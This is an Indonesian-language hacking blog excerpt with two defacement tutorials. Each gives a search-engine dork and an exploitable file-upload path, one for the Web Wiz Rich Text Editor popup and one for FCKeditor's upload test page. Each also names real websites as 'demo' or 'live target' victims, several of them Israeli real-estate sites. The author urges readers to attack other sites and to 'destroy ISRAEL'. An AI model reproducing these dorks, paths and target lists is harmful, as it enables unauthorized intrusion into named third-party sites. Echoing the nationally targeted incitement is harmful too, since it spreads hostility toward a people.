0 Deface Web Wiz Rich Text Editor

Kembali bersama saya lagi ni hehe, baiklah setelah postingan saya yang powered by modulus sebelum nya, sekarang saya mau share tentang deface lagi haha, setelah vakum lama? aktif lagi? dapet bnyak tutorial yeyeee BadBoy gitu haha.

Dork: ”Powered by Web Wiz Rich Text Editor” or INURL:/my_documents/my_files/
Exploit: path/RTE_popup_file_atch.asp
Preview: Bisa di lihat sendiri kok

Demo:
http://www.ullerslev-gaf.dk/admin/RTE_popup_file_atch.asp
http://admin.healthyudelmarva.org/RTE/RTE_popup_file_atch.asp
Selamat berkreasi, semoga berhasil mencoba untuk situs yang lainnya.

Read More »

0 Deface Situs Israel: Powered by Real Estate

Assalamualaikum saudara saudara muslim sebangsa dan setanah air kembali bertemu dengan saya Fikri Fakhrezy, ya si kalian bisa panggil saya BadBoy terserah deh kalian mau panggil aku apa? Haha.
Baiklah saya akan share tutorial deface khusus situs ISRAEL, karena saya baru nemuin nya, semalem lah tgl 8 agustus, sekarang kan tgl 9 hehe, ok ni simak aja.
#####################################################
Exploit Title: Powered by Real Estate in Israel File Upload Vulnerability
Dork: intext:Powered by Real Estate in Israel
Author: BadBoy
Category: Remote, Webapps
Tested on: Windows Xp SP3
#####################################################Poc/Exploit:
http://[localhost]/PATCH//FCKeditor/editor/filemanager/connectors/uploadtest.html
Allowed File:
You can upload pdf ,ppt ,txt ,doc ,rtf ,xml ,xsl ,dtd ,zip ,rar ,jpg ,png files
Preview:
- You can see if you success upload file.
Live Target:
- http://www.firstimmo1.com/FCKeditor/editor/filemanager/connectors/uploadtest.html
- http://www.tekoa-realty.com/FCKeditor/editor/filemanager/connectors/uploadtest.html
- http://www.ozma-nechasim.co.il/FCKeditor/editor/filemanager/connectors/uploadtest.html
- http://www.ruben1.com/FCKeditor/editor/filemanager/connectors/uploadtest.html
######################################################
-=[Thanks To: Palembang Hacker Link | Binus Hacker | And All Hacker Muslim ]=-
Apa pendapat kalian? Pasti mudahkan, karena saya tidak ingin memberikan materi SQL, saya rasa anak kecil pun bisa SQL hehe, sekarang bagaimana kita bermain exploit dengan menyerang URL
Ok semoga berguna ya, semangat hancurkan ISRAEL, sumpah dari umur saya 11 thn dan sekarang 16 thn, saya sudah mendukung gerakan Freedom Palestina !! Support dan bantu Palestina saudara

Read More »